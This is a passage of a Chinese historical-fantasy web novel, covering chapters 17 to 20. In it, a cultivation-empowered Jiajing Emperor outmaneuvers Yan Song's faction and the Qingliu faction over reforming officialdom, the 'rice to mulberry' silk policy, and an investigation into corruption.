“所以这罪己诏,朕不得不下,要不然这民心岂能安稳?国,岂不是要乱?” 嘉靖说到这里,所有人都把脑袋深深低下。 “这重则朕身为君父,给他担了,轻则累死上官,朕岂不是又要痛失臣子?” 说到这里,众人都知道是什么意思,而清流一党心中也是越发的后怕起来。 是啊,如果今天让严世蕃闹起来,陛下查下去,他们岂不是都要受到牵连? 一时间,徐阶等人都是心中暗叹,周云逸这步棋,确实是走的仓促莽撞了! “周云逸的事,给朕提了个警钟。” “吏治不严,是从根上的,如果以后越来越多这样的人上位,那祸事也就临头了。” 说到这里,语气不由加重。 老狐狸们心中也是不由的一惊,他们哪里听不出来,陛下这是要借题发挥,整顿吏治了。 一时间,刚才心里还得意的严世蕃,此刻面色也不由的一变,整顿吏治? 整顿谁?不会是冲着我严家来的吧? 而刚才开始就心中忐忑的清流一党,顿时有种峰回路转的感觉,心中是惊喜异常。 整顿吏治?这不就是明晃晃的摆明了,要整顿严党了吗?陛下还是圣明的啊! 周云逸,死得其所! 如此看来,这步棋有兵行险招的嫌疑,却也是起到了奇招的效果啊! 当然,也有清醒的人。 比如徐阶,此时却是眉头深深皱起,下意识的看了一眼严嵩。 此时,老神在在的严嵩,似是心有所感,不露痕迹的抬眼了一瞬,眼神交错的瞬间,彼此漠然错开,但却有了某种默契。 老谋深算的二人,自然看的比旁人深的多,陛下这一手,看似敲打了清流,又敲打了严家一脉,但最终的话题却是引到了吏治上。 一时间,二人都有些摸不准心思了。 “严阁老,整顿吏治,你有什么看法?”嘉靖随口问道。 闻言,严嵩抬了抬眼,沉吟片刻后开口了。 “陛下,我朝官职体系繁复,却井然有序,实乃历代先贤智慧之结晶。” “当前虽有些许弊病,但皆属局部。”说着,又开口提道:“周云逸这等愚昧之人,毕竟属于少数,不足以撼动根基。” “臣以为,整顿吏治,应从细微处着手,逐步调整,而非大刀阔斧,以免动摇国本。” 听到严嵩这一番肯定现状合理性的话,嘉靖微微颔首,示意他继续。 “自陛下登基以来,国泰民安,四方来朝。臣认为目前朝廷首要任务应是巩固边疆,发展农商,让百姓生活更加富足。” 听到这里,嘉靖哪里看不出来,这老东西是要转移话题了,不过也不在意,继续听着。 他说是整顿吏治,但重点是让满朝清流,严党,全都把钱吐出来,之后再徐徐图之。 严嵩语气诚恳,寻寻渐进,“吏治之事,可稍缓,待时机成熟再行整顿,更为稳妥。” 说着,又很是善解人意的提出了一個替代方案。 “吏治之弊,非一日之寒,欲速则不达。” “臣建议,可先从加强监察入手,设立专司,定期考核官员政绩,奖优罚劣,以此逐步改善吏治环境,而不必急于大规模改革。” “从而引发不必要的上下骚乱。” 说完,又开始表达忠诚与谨慎了。 “臣深知陛下忧国忧民之心切,然吏治改革非同小可,需慎之又慎。” “臣愿尽心尽力,辅佐陛下,共商良策,确保改革平稳进行,以期达到最佳效果。” 说完,又用外部事件,开始推延。 “近来边境形势紧张,内地有灾害频发,此时若大举改革,恐生变故。臣建议,待局势稳定,再议此事,更利于国家长治久安。” 强调现状、转移焦点、提出替代、表现忠诚、利用外因。 一瞬间,就完成了一套五连招,话说的漂亮又滴水不漏,而且还没什么实用性。 要不怎么说是严嵩呢,能把废话说的这么有建设性,也确实厉害! 徐阶低着头,瞥了眼严嵩,心中暗暗点头。 此时他也慌,陛下一会敲打清流,一会敲打严党,现在又借题发挥整顿吏治。 说实话,他宁愿在阁内整到严党,也不愿意大肆的改革吏治。 还是那句话,在场的谁都经不起查。 每个人身后,都是利益错综复杂,官场上盘根错节,这要是改革吏治,那无异于自相残杀。 “徐阁老,严阁老的话,你怎么看?”嘉靖又看向徐阶。 “回陛下,臣以为,严阁老所言甚是,”说着,他也不得不把周云逸拉出来鞭尸,“周云逸之流,毕竟属于少数。” “吏治可以修整,但如今内有灾害,外有战事,确实不易再大动干戈。” 看了眼低头的徐阶,嘉靖又看向其他人,“你们也都是这么想的?” 闻言,众人纷纷躬身,低下了脑袋。 “看来,朕的内阁,都很团结啊。”嘉靖笑着说道。 一言出,严嵩身体一颤,赶紧从凳子上跪下,其他人也都惶恐的跪在了地上。 这一刻,除了司礼监一众家奴听出主子言外之意,目露凶光的盯着内阁众人外。 无论是清流,还是严党,都是冷汗直流。 “好了,好了,都起来,起来吧。”嘉靖笑着摆摆手,让众人起来,道: “严阁老说的是,整顿吏治,现在确实不宜大动干戈,以免朝野动荡。” “刚才严阁老提到了设立专司来监察官员,倒也是个办法……”说着,嘉靖面上笑吟吟的,眼底似是有刀子一般,道: “所以,朕决定重开西厂,扩招锦衣卫!” “上到内阁,下到地方,设立专门的司衙门,以此来应对吏治弊端!” 这一刻,图穷匕见! 开设西厂,扩招锦衣卫,上到内阁,下到地方?! 这个消息一出,不亚于惊雷炸响。 严党和清流此刻,心中具是惊慌一片,陛下要干什么?这么大阵仗? 莫非真要进行一场吏治变革? “严阁老,你以为呢?”嘉靖再次问道。 “陛下圣明。”严嵩先是躬身对皇帝的决策给予肯定,而后语气微微一顿,道: “东南和北边的战事也需要军需,如果扩招锦衣卫,再开西厂,人力物力累积,消耗巨大,财政怕是承担不起……” “重要的是如今宫里还有几座宫殿要修。” 言下之意很明确了,如果这么做了,您这道还修不修了?宫殿还盖不盖了? 此时,严嵩的意思很明确了:陛下,虽然不知道您到底要干什么,但还是收手吧! “陛下,严阁老所言在理。”这时,徐阶也是一咬牙,上前一步,跟着开口,道:“而且,西厂专横,在正德年间就已经废除。” “如今重开,必定导致朝中人心惶惶,还请陛下三思。” 严嵩和徐阶说完,大殿的氛围降到了冰点,其他人低着脑袋不说话,司礼监怒视着内阁。 看着这一幕,嘉靖丝毫不意外。 在动摇利益的情况下,清流和严党也是可以联手的,甚至彼此都不需要培养默契。 而这些,还只是大明朝积重难返的一个点。 整顿吏治,就是在进行一场官场变革,各方的权利会被打破平衡。 没有人会愿意的! 不过,那又能如何? 想到自己只有五年的时间,五年之后要是不能将大明整顿一番,等白银流入,大明遭到重击,可以说是伤筋动骨了! 大明是自己的本命物,绝对不能伤着。 自己还指着修复的大明,来反哺识海中的本命,让自己修为,资质,再进一步呢。 谁敢断我仙路,我就送谁去死! “那从今以后,宫殿不再修了,新建的宫殿也尽数拆去,能卖的卖,用作军需。” “凡是用作修道的一切用度,都尽数放在西厂和锦衣卫的扩招上。”嘉靖淡淡的说道。 “朕是天下的君父,也是当家做主的,这家有难,朕也不能只想着自己。” “苦一苦朕,福让百姓来享!” “什么?!”听到这话,众人又是一愣,就连严嵩,此刻也不能淡定了。 谁都没有料到,皇帝竟然会来这一招。 把修道,看的比命还重要的皇帝,竟然不修宫殿了。 还说什么苦一苦自己,福让百姓来享? 这是你的台词吗? “……” 第十七章 改稻为桑,严嵩的不安 短暂的惊愕后,清流高潮了。 高拱、张居正二人当即抬起头,激动的看着嘉靖。 陛下竟然舍得为了朝廷,放弃玄修? 难不成,陛下晚年,会有浪子回头,重返明智的可能? 嘶,这不科学啊,大多数帝王,都是越老越昏庸的,为何自家陛下反而浪子回头了? 当然,如果陛下真的能回头,那绝对是一件值得高兴的事情。 这二人,一个是脾气火爆耿直,一个现如今来说,城府谋略还尚有余地,自然想不了太深,只觉得陛下肯为民让利是件好事。 不过,另外二人,此时却是眸光闪烁。 徐阶老谋深算,甚至不在严嵩之下,而赵贞吉,虽然平日里只会云,但此刻也看的分明。 变化太大了,今天在这大殿上发生的一切,对有心者来说,简直就是巨变! “陛下为国为民,臣惭愧。”严嵩反应不慢,当即跪伏在地上,表示认同此举。 话都说到这个份上了,如果再推三阻四,跟着唱反调,那就是给脸不要脸了。 他没忘记,严家能有今日,靠的是为皇帝分忧,给皇帝遮风挡雨,他是靠着皇帝的。 如果不能执行皇帝的意志,那么严家存在的意义,又何在呢? 见严嵩表态了,徐阶也知道事不可为,纷纷开口称赞了起来。 求其上者得其中,求其中者得其下。嘉靖笑着道:“都起来说话吧。” 大殿内降到冰点的气氛,随着嘉靖的笑声而终结,众人心里也都松了口气。 “严世蕃,”嘉靖看向这位肩膀上举着整個大明的大力士,开始算小账,缓和气氛,“刚才听高拱说,你昨天娶了第九房太太?” 被嘉靖这么一问,在场众人神色各异,严世蕃心中一惊,当即下跪开口。 “回皇上,臣回去后就将几房小妻送回娘家。” 高拱眼神蔑视的看着刚才还很嚣张的严世蕃。 你牛啊,你怎么不牛了? 你要真这么有本事,咋不冲着上面那位喊一声不要东拉西扯呢? 其他人看了眼严世蕃,便移开了目光。 哪个男人不三妻四妾的,这有什么值得大惊小怪的。 唯有司礼监里,陈洪眼神不忿的撇嘴。 起个话头,本就是缓和气氛的,嘉靖也没想真怪罪,慢悠悠笑开:“好汉才娶九妻嘛。” 高拱:“?” “我不是好汉?”这一手,着实是把高拱给弄的不会了,自己这么勇,竟然不是好汉? 陛下也太偏心严家父子了。 “吵架好啊,吵着吵着,就把账吵明白了。”说着,也不管众人,继续道:“昔年,郑和下西洋,为我朝带来了丰富的物产。” “你们以为,海上商运如何…张居正?”嘉靖点了张居正的名。 毕竟之前的算账中,他以东南海上倭寇为由,提了一嘴海运通畅可以赚钱这点,只是没想到,这话掉进了皇帝的耳朵里。 大明禁海,但禁的是商贾私自与海外交易,而不是禁的朝廷海运。 朝廷接收海外朝贡,诸国贸易一直都有。 听到皇帝点名,这时张居正也只好站了出来。 “回陛下,从郑和远下西洋直至嘉靖十几年,海上贸易依旧繁盛。只是近些年倭寇骚乱,海面受阻,商运已不胜往昔。” “若海运清通,我大明就可以把货物运往海外,如波斯、印度一带,每年可开源千万白银,国库也能得以极大的充盈。” “因此,臣提议,若兵部可以出钱用作东南战事,想必海路可以速清……” 言下之意,这是要给东南扩充军费了。 陛下要拆宫殿,变卖钱财,取消玄修用度,张居正自然瞄上了这块肉。 然而张居正就是一个停顿的功夫,老谋深算的严嵩精准出击,当场接过话。 “这件事,张居正与臣商议过。” 啥?跟你商议?伱要不听听你说的是什么?谁跟你商议了?莫非严党竟是我自己? 被‘商议’的昔日神童张居正,瞬间错愕,略有些慌乱的瞟了眼徐阶等清流。 却发现几人谁都没有看自己,只觉得好大一口黑锅就这么砸了下来。 一时间,张居正脸上的神色极为精彩! 严嵩没有理会这些,三言两语带过军队扩充的事,转而开始谋划起了自己的金算盘。 你张居正瞄上陛下牺牲自己,省的这大笔钱?别说皇帝肯定盯着不放,就算下放了,也轮不到你们这帮人。 一边玩去吧,这钱都是我严家奉上的,合该由我严家来支配! 他可没忘记,自己的学生胡宗宪,可还是在东南主持战局呢,胡宗宪可是自己的一步重棋。 “只要海面货商之路畅通,接下来要考虑的就是该运什么。”说着,严嵩抬了抬眼,眼底精光闪烁,他也要亮刀子了。 “比如,浙直的丝绸!” “一匹上等的丝绸,在内地能卖六两白银,在海外西洋诸国,能卖十两白银以上。” “现在南直隶是一万张织机,浙江是八千张织机,能不能增加织机,多产丝绸?”说话间,抬头看向嘉靖,一副犹豫的模样。 “当然可以,准了,”嘉靖一摆手,身子轻斜,姿态轻松惬意,探着身子,道:“关键是蚕丝,要如何增加桑田,多产蚕丝?” 这老东西,真以为朕不知道物价吗? 在朕跟前说卖到海外十两以上,到时候你卖个大几十两上百两,到时这差价肥死你! 不过心中这么想,嘉靖却是不打算提出来。他还有其他打算。 正中下怀! “陛下圣明,”严嵩颤颤巍巍的起身,笑着开始步入正题,“历来南直隶的丝绸,就是靠浙江供应蚕丝,毕竟是气候使然,合适。” 说话间,微微侧身,瞥了眼身后众人,轻飘飘的一句话就代表内阁,展示了他的只手遮天。 “内阁的意思是,干脆让浙江现有农田折半,改为桑田,如此就能多产蚕丝一千万两以上,多织出丝绸二十万匹呀!” 这是完全不把浙江人当人了。 听到这里,嘉靖看着这老货,眼底深处有危险的光芒涌动着。 这老东西,好用归好用,但必须要狠狠收拾一顿才是,要不然真以为自己无法无天了。 狂吧,朕就看着你狂! “农田改成桑田,浙江百姓吃什么?”嘉靖淡淡开口。 “从外省调拨。”严嵩对答如流,然后还贴心的准备道:“每亩桑田产的丝,比每亩农田产的粮,收成还要高,百姓也饿不到。” “再加一条,”嘉靖坐直身体,“改的桑田仍按农田征税,不许增加税赋。” 嘉靖话刚说完,严世蕃跟着就是一记马屁送上,“圣明天纵,无过皇上。” “如此一来,百姓定会踊跃种桑。” “有了丝源,浙江和南直隶各增加几千张织机也不成问题。” “好啊,好好好。”听到这里,嘉靖笑着道:“严阁老果然是我大明的肱骨之臣。” “如此短的时间内,就提出了这么一个有建设性的政策,甚合朕意。” 其实改稻为桑的政策,单从经济学的角度来看,是具备一定的合理性的。 一来,改稻为桑,实质上是一次产业升级的尝试,将粮食作物,改为经济效益更高的经济作物,前瞻性,领先全世界了。 有望提高整体经济效率和财政收入。 二来,可实现多元化经济。 依赖单一农作物(如水稻)的经济体系,太过脆弱了,容易受到自然灾害、市场波动等因素的影响,尤其是大明朝。 出了名的天灾频发,至少嘉靖现在没有能力改变自然气候,所以农业经济太单薄了。 发展丝绸产业,就能降低整体经济风险。 三来,可以增加外汇收入。 大明的丝绸,享有很高的国际声誉的。 通过增加丝绸产量,可以进一步开拓海外市场,吸引适当的外汇流入,增强经济实力。 只要规避掉一定的风险,放缓步子,一口口吃饭,一步步脚踏实地发展就能顺利进行。 这些,嘉靖心中已经有了考量。 现在,他只需要看严嵩这老东西表演就是了,等会再让他看看什么叫惊喜! 在严嵩和严世蕃满脸笑意,清流脸色难看的时候,嘉靖话锋一转,道:“不过……” 严嵩眼皮一跳,心中有种不好的预感。 “……” 第十八章 落幕,目的达成 “饭,要一口一口的吃。” “这条增强大明财政收入的国策,也是如此。” “所以,朕要在严阁老的提议上,稍作修整。” 见嘉靖看向自己,严嵩微微欠身,心中那股不安,越发的强盛了起来。 “可以在浙直两地小范围进行试点,评估政策效果和可能遇到的问题,此为一点。”嘉靖端坐于御座上,抬了抬手指,“吕芳。” 吕芳会意,立刻开始铺开白纸,迅速记了起来。 嘉靖说着直接忽略之前说的浙江一地,改为南直隶和浙江两地。浙直的直说的就是南直隶。 “第二点,分阶段逐步扩大政策覆盖范围,避免对农业生产和粮食安全造成突然冲击。” “第三点,为参与改种的农户提供财政补贴或降低利息,减轻初期成本的负担。” “第四点,划定不可触碰的基本农田红线,确保国家粮食自给率不受影响,建立充足的粮食储备,必要时进口粮食,防止粮食危机。” “第五点,加强对丝绸市场的监管,打击非法牟利行为,确保市场公平竞争。 由刑部重新拟定法律条款,保护农民土地权益,防止官商勾结低价收购农民土地。” “第六点,广泛宣传国策目的和预期效益,提高百姓对政策的理解和支持。 对于因政策调整而遭受损失的农户,设立救济的专司衙门,提供必要的生活保障。” “第七点,要定期进行评估。” 一口气说了七条政策,听的内阁众人心中好似掀起了惊涛骇浪一般。 严嵩才刚提出改稻为桑的国策,陛下为何这么快就拿出了相应的辅助决策? 清流:“莫不是陛下早就与严党商议过了?” 严嵩、严世蕃:“莫不是清流一党提前洞悉机密,提前做了应对?” 一时间,刚才还默契连手的双方,关系瞬息间急转之下,开始猜疑了起来。 嘉靖不理会众人想法,继续开口。 “其实关于丝绸的价格,朕也早有关注。”听到这里,严嵩心中一沉。 “朕是当家做主的人,自然是要多关心民生财政,自然是什么赚钱,就了解什么。” “昨日朕让陆炳进宫,据他所了解到的最新行情,一匹销往海外的丝绸……”说到这里,嘉靖瞥了眼严嵩,然后继续道: “就算我们卖给西洋人十两,他们卖过去在海外,少说也会翻个十倍不止。” “所以,我大明也要提高丝绸的价格了。” “之后,一匹运往海外的丝绸,定价四十两,同时禁止民间商贾外售丝绸。” “物以稀为贵,这天下,只有我大明能产这等高质量丝绸,他们不买也得买。” 说着,嘉靖抬手指了指眼严嵩,“严阁老,你宅心仁厚,却也要谨记无奸不商这话。 昨日陆炳进宫,是汇报海运物价?严嵩心中猜测,面上却是惭愧的低头。 “老臣年事已高,一时疏忽。”他哪里不知道,皇帝看穿他的小算盘了。 之所以这么说,也不过是给他面子,同时,这何尝不是一种敲打。 而事实上,丝绸他向来就是卖这么贵的,甚至比皇帝定的四十两,还要贵。 那些海外商人最后不也是一番讨价还价之后,捏着鼻子认了? 只是现在皇帝知道了,这生意怕是要断了。 到了现在,他似乎窥探到了皇帝的一层意思,整顿吏治或许是借口,目的是钱? 但不知道为何,他总觉得皇帝的目的,可能还远远不止如此,或许更深,这才是他担心的。 “这些事,就由司礼监和工部去办。”说着,又看了眼高拱,“以后钱全入户部。至于负责督办之人,你们可有人选?” 听到这里,严世蕃眉头皱了皱,心中权衡起了利弊。 如果直接就改稻为桑,开始大范围的实施,重重叠加之下,吃掉这块肥肉,能肥死! 但皇帝三言两语把一个既定的短期、快速捞钱的法子,直接变成了稳定长远的国策。 这…虽然也能赚钱,可到底是慢了些。 一番权衡之后,严世蕃顿时把心一横,有了决定。 争,必须争! 一个长期稳定的肥差,没道理不争! “陛下,”然而严世蕃刚开口,盯着他的高拱直接抢白,“兵部左侍郎谭纶,曾任福建巡抚,负责福建省的军政事务,特别是在对抗倭寇方面发挥了重要作用,臣以为他可胜任!” “准了。”嘉靖摆手同意。 严世蕃见此,只能恨恨的瞪了眼高拱,恨不得怆死这個混蛋! 到了这里,嘉靖基本上算是把要办的事给办了。 接下来,就等陆炳的屠刀落下了。 放缓改稻为桑的步子?真以为朕不等着急用钱?什么都能缺,军需绝对不能缺! 不过明明朝中有宝山守着,何必舍近求远? 管你是清流还是严党,这一次都要把朕的钱,给朕吐出来! 御前议政,到了这里已经算是结束了,嘉靖迈着轻松的步子,走下御座,来到门前。 大雪纷飞,寒风凛冽,吹的他道袍“哗哗”作响。 望着满天风雪,嘉靖心中万千思绪。 忽的,嘉靖心生感慨,“敖英的《东谷赘言》下卷有句话说的很合朕心意。” 闻言,众人低头思索。 嘉靖不管这些,语气幽幽道: “他在书里说,我朝国势之尊,超迈前古,其驭北虏西蕃,无汉之和亲,无唐之结盟,无宋之纳岁币,亦无兄弟敌国之礼。” “如此江山,岂不让人留恋?” “朕若是不能守好这祖宗江山,不能恢复大明之鼎盛,如何能对得起列祖列宗?” 听到这番话,望着漫天大雪,好似如今飘摇不止的大明,嘉靖身后的一众朝臣们,心中不免升起一丝莫名的哀愁来。 却无人道清这一抹哀愁来源何处。 “好了,都去吧。”嘉靖摆了摆手,众人躬身行礼后,一一离开大殿。 今天发生太多的事了,他们也需要好好消化一二。 不过等徐阶、高拱和张居正等人离开后,走在最后的严嵩跟严世蕃二人交换了个眼神。 严世蕃立刻明白了父亲的意思。 他们可没忘记,自己府上还有一个清风道长,要送到宫里的。 虽然陛下嘴上说拆了宫殿,修道用度全停,但却没说不再修道。 所以,该送的人,还是要送! 而且,今天发生的事,越发的坚定严嵩想要给皇帝身边安一个女人的心思了。 “陛下,近日正一道的女真人,来到了府上,陛下可是要见一见?”严世蕃开口说道。 听到这话,嘉靖并不意外,以后严家还是要继续用的,接下来要割他的肉,适当的恩赏也是该有的,收了他送来的人,算是安他的心。 至于女真人的事情,他自然是知道的。 显然,送女道士的目的,也是别有深意,不过都无所谓了。 “正一道也算是有恩于朕,让那道长进宫一见吧。”嘉靖说着,摆摆手示意退下。 “是。”严嵩跟严世蕃躬身退下。 “……” 第十九章 砧板之鱼,掌中之物 裕王府。 听完众人在御前议政的全部内容,裕王也被震的久久无言。 半晌后这才开口,不敢置信道:“父皇他,真的不修道了?” 此时,裕王的心情是很复杂的。 一方面,他高兴父皇转性了,竟然愿意为民让利,似乎要在晚年浪子回头的意思。 另一方面,他又有些担忧,父皇越圣明,他的未来,就越是扑朔迷离。 一时间,心中犹豫不决,竟不知道该是高兴,还是紧张。 “还没有,”性子耿直,脾气火爆的高拱摇头,“只说停了再造的所有宫殿,拆了那些盖好的宫殿卖钱用军需和西厂锦衣卫。” “但也没说从此不再修道了。” 听到这里,大殿里众人沉默了片刻。 这时,张居正略一沉吟,开口,“看陛下的意思,或许是有其他更深的打算,”说着,环视一眼众人,语气微微一顿,“吏治。” 由张居正起了一个话头,众人心中也是一凛,想到了陛下今日最开始说的,整顿吏治。 整顿吏治,说实话,他们也不同意。 裕王听到这里,没有说话,只是默默端起茶盏,轻轻的吹了起来。 热气在他眼前升起,眼神中莫名之色涌动。 说实话,父皇要整顿吏治,他现在也不认同,因为朝中派系已经明朗,清流一脉是自己的支持者,壮大到现在不容易。 一旦整顿吏治,那伤筋动骨的,可不光是严党,还有自己一脉。 倒严可以,但要有章法,可不能用伤敌一千,自损八百的自残方式来倒。 “我倒是认为,陛下提出整顿吏治,其实是为了顺利让我们同意重开西厂。”这时,只会云的赵贞吉犹犹豫豫的开口道。 听到这话,性格耿直,脾气火爆的高拱暴躁的拍着桌,近乎于耳提面命,道: “西厂的成立,就是为了整顿吏治!” 张居正抚了抚滑溜的胡须,缓和赵贞吉的尴尬,“陛下用周云逸借题发挥,提出整顿吏治,严嵩自是不愿意,所以打了个圆场。” “陛下看出内阁不愿意,也就没有坚持,总的来说,严嵩和陛下算是各退一步。” “至于成立西厂,”说着,张居正微微摇头,“成立就成立吧。” 闻言,众人皆是点头。 如今的大明朝,可不是正德朝。 西厂成立又能如何?左右不过是一群阉人而已,还能翻了天吗? “哈哈哈。”高拱突然像是想到了什么,大笑起来。 “肃卿何故发笑?”裕王投去好奇的目光。 “我笑那严嵩老儿搬起石头打自己的脚,我笑那严世蕃小儿自吞苦果,哈哈……”高拱说着大笑着发泄着痛快,道: “今日大殿上,太岳本是要为东南戚继光,俞大猷部筹集抗倭军费,才提了一嘴海运。 结果严嵩老儿不要面皮,身为上官公然抢工不说,还轻描淡写的揭过军费之事。 最后还算盘打的叮当响,提出什么改稻为桑的国策,趁此机会想要收割钱财,却不料被陛下的七条决策,轻描淡写的化解。” “哼!”说着,性格耿直,脾气火爆的高拱颇为得意的哼了一声,道:“老夫当时就盯着严世蕃小儿呢,直接抢先拦下督办人选。” “这回,严党休想占到便宜!” “肃卿机智,令人佩服。”张居正笑着拱手,裕王也是赞许的看着高拱。 “这次,严党怕是一个搞不好,真就永不翻身了。”高拱对着张居正微微颔首,看向裕王。 “改稻为桑的国策,严嵩势必要用来补亏空,这次有我们的人盯着,他就别想搞动作!” “补得了亏空,皇上就会容他,补不了亏空,那么他对皇上来说,就没用了。接下来,只要我们把严党盯死了,大事可成!” 高拱说到这里,目视众人,眼中全是信心。 至于只会云的赵贞吉,瞥了眼老神在在的徐阶,心中虽有城府,却也没表现出来。 “陛下的真正目的,到底是什么?”徐阶抬了抬头,看向窗外,“严嵩,你是否察觉?” 徐阶不愧是内阁次辅,今日大殿上的一切,陛下给他感觉就是胸有成竹,目的明确。 整顿吏治,如今看来就是個幌子,看似重开西厂,扩招锦衣卫的目的达到了,陛下对玄修之事也不上心了,宫殿不盖了。 一时间,似乎变得有几分无欲无求的感觉,但又总感觉哪里不对劲。 这份说不上来的不对劲,让他很不安。 徐阶的担心跟严嵩的担心其实是一样的,此时严嵩也在沉思着。 严府。 书房里。 “这些畜生!”严世蕃背着手,走来走去,嘴里不停的咒骂着。 “好,好啊,好的很!” “端老子的碗,砸老子的锅!” “哈啊!搅吧搅吧,就让这些畜生搅吧!把大明亡了,老子无非陪着他们一起玩命就是。” “我倒想看看,他们能不能一手把这大明朝的天给遮了!” 严嵩这次没有昏睡过去。 抬头撇了眼状若癫狂,疯疯癫癫,胡言乱语的儿子,又默默低了下头,看向手里拿着的,今日陛下说的《东谷赘言》下卷。 目光低垂着,眼底却有莫名之色浮动。 面前,严世蕃走来走去,喋喋不休的咒骂着,似乎丝毫影响不到他一点。 “爹!”见老爹还是这一副雷打不动的模样,严世蕃焦急的用手背拍打着手心。 “堂堂内阁首辅,让人当着那么多人的面摆了一道,您老就没什么想说的?” 闻言,严嵩抬头看向严世蕃,“我没你那体力和精力,骂不起劲。” “你!”听着这话,严世蕃当场噎住,而后恨恨的一甩袖子,怒声道: “什么时候,我严家让人给欺负成这样了!” “还有皇上!”严世蕃说着,情绪激动的指着头顶,“他是忘了我严家立下的汗马功劳了吗?就算没有功劳,也有苦劳吧!” “可我就不明白了,为什么干的最多的是我严家,到头来受委屈的却是我们?” “皇上他……” “严世蕃!” 严世蕃还要说什么,却被严嵩一声爆喝打断,“不要说皇上的不是!” “爹,难道我发两句牢骚都不行了?”严世蕃弯着腰,瞪着老爹,“非要把人憋死?” 严嵩放下手里的书,缓声开口。 “原本我是要借着‘改稻为桑’赚一笔钱,用这笔钱,去填补吏部和户部的亏空。” “只要这事成了,那么皇上就会知道,我严家可以继续为他遮风挡雨。” “但皇上显然对东南的一应事务,掌握详细。” “我严家做的所有事,他都清楚。” “改稻为桑这条国策,确实利国利民。 我并不是无的放矢,如果按照皇上所言,大明的国库迟早会充盈起来,如果步子太快,就会导致国策变成恶政。” “提出改稻为桑之初,我最担心的是裕王为首的清流一脉。” “他们想要让我严家倒台,就会想尽一切办法,破坏这条国策,让亏空补不上。” “他们肯定会在这事上动手脚,搞破坏。” “一旦亏空补不了,皇上无解之下,就不得不拿自己的钱来救国!那时,我严家对皇上来说,就是无用了,严家自然也就倒台了。” “只是,让我没有想到的是,陛下会三言两语的就将国策用七条辅策牵制,定调。” 听到老爹这么说,严世蕃终于恍然。 知道其中利弊后,一时间,他心底也不由的慌了。 “爹,您的意思是,陛下也不让我补亏空?是要我严家倒台?陛下要对我们动手?!” 如此分析下来,可不就是吗? 一旦亏空暴雷,严家就彻底完了! “一开始,我也是这么想的,”严嵩颤颤巍巍的起身,严世蕃赶紧搀扶,“但今天,陛下接受了我们的好意,收下了清风。” “这可以看做是在安慰我们。” “那有没有可能是先安抚我们,然后……”严世蕃向严嵩投去一个询问的眼神。 严嵩推开窗户,看着漫天大雪,然后撇头看向儿子,“严家没了还有清流,朝廷也不会乱,皇上要杀我们,用得着这么麻烦吗?” “那皇上究竟什么意思?” “砧板之鱼,掌中之物,”严嵩望着大雪,轻叹一声,“等吧,结果很快就会出来,只要皇上还用得到我们,自会指出生路的。” 还有句话,严嵩没有说出来,“到了那时,皇上真正的目的,也就知道了。” “……” 第二十章 视听天下,阅尽朝野,遍览诸邪 夜。 西苑,玉熙宫。 嘉靖端坐于精舍之中。 吕芳伺候在旁,看着精舍中纱帐无风自动漂浮的神异一幕,眼神中透露着震撼之色。 虽然知道主子得了仙缘,可是此刻亲眼看到,依旧让他心头震惊的无以复加。 吕芳不自觉的又想到了那日的仙丹。 “难怪主子不再需要修建宫殿了,”吕芳心头暗暗想着,“已得仙缘,凡俗缥缈之物,自是不再需要了,省下的钱还能入国库。” “呼。”嘉靖缓缓舒了一口气,平复了身体中激荡的灵气,睁开了双眼,看着手中,装着灵源的小瓶,心中轻叹。 “一两灵源,在大明最多使用十天。” “大明没有灵气,功法运转不能吸收外界灵气,我修为又低,浪费太严重了。” “估计最多能支持到突破练气二层。”随着修为的提升,境界相对的进步会越来越慢。 不过嘉靖的本命是大明,可以说是一国之力在支持修仙,这个速度已经很快了。 心中想着,嘉靖收起装着灵源的瓶子。 “主子。”见精舍中的纱帐缓缓平静,以及主子的呼气声,吕芳心中一动,轻声道:“陆炳把裕王和景王一系的名录都准备好了。” 说着,将手中一本厚厚的本子递上。 嘉靖收起心中所想,伸出手接过本子,打开看了起来。 看着裕王一系和景王一系,两京一十三省,各要职的心腹,上到朝廷下到地方的人名册,嘉靖对这些人,心中并无什么看法。 严党跟清流的争斗,映射出来的背后,是景王和裕王之争。 这些人,自然是要站队的! “呵。”想到今天的财政会议,嘉靖轻笑,“朕今天,也算是救了严嵩一命了。” 其实,严嵩这次提出的改稻为桑的国策,完全可以看做是他为严家做的一次背水之战。 成了,在他看来严家还能多干几年。之后就算是倒台,退下去了也不会太难看。 不成,那就是大厦倾颓,下场凄惨。 所以改稻为桑的国策,在严嵩看来,必须依靠自己一系实际完成。 事关身后追随者的无数人的身家性命,官场未来,所以必须搞成。 而浙江那一班人,必须使出吃奶的力气来好后办事,谁不出力就收拾谁! 若是最大的胡宗宪阴奉阳违,装清高,那我严家能捧得起你,就能摔死你,罢你的官! 郑泌昌,何茂才这种吃相难看的蠢猪,那到时候就给你派个迂腐的酸秀才盯着你改。 百姓不理解朝廷的难处? 那便踏你的苗,毁堤淹田。 一旦乱起来,清流或许不但不会管百姓的死活,还会为了按死严党,落井下石! 朝堂党争,他们是不会在乎百姓的死活的。 听到这话,吕芳也笑着意有所指,道:“奴婢认为,严阁老应该知道主子的良苦用心。” 主仆间互相打了个默契十足,又彼此心知肚明的哑谜后皆是嘴角露出笑容。 之前,嘉靖就说过,要让严党和清流主动把钱吐出来,等陆炳开始行动后,吕芳就会去一個个拜访这些内阁诸老,给予暗示。 届时他们就两个选择,要么交钱,要么抄家灭亡。 “接下来,朕可有的忙了。”合上本子,嘉靖起身从精舍中出来,来到偏殿书房坐下。 吕芳见此,立刻贴心的开始准备笔墨。 “等会朕说,伱负责记录。”说完,嘉靖也不管吕芳,坐在椅子上,双眼缓缓闭上。 接下来,他要视听大明了! 意识来到识海深处,站在那座灰雾笼罩,黑气弥漫,千疮百孔,满目疮痍的大明前。 一心二用,意识瞬间来到东南,郑必昌处,开始查看起了这些人的罪证。 “记录在案,”嘴上开口对吕芳,道:“第一个,浙江布政使郑必昌,贱买田地、贪墨修河公款,账册记录,收据藏于……” 吕芳敬畏的看着面前的主子! 什么人能双眼一闭,知晓数千里的事? 不仅如此,还能这么准确说出郑必昌这位浙江布政使,所有贪污受贿的罪证存放之处。 不是神仙中人,又是何人? 当然,他自然明白,主子说出的这些存放之处,最后都要让陆炳去找的。 所以,完全不必怀疑主子是不是在信口胡诌。 “从此以后,这天下之事,恐怕无人能瞒得过主子陛下,举头三尺有神明,莫过如是!” 吕芳虽然心头惊异于嘉靖恐怖之处的同时,手上动作却也不慢,开始飞快的记录起来。 “记录在案,浙江按察使何茂才……” “记录在案,福建巡抚李广才……按察使周应昌……” “记录在案!” “记录在案……记录在案……” “记录在案!” 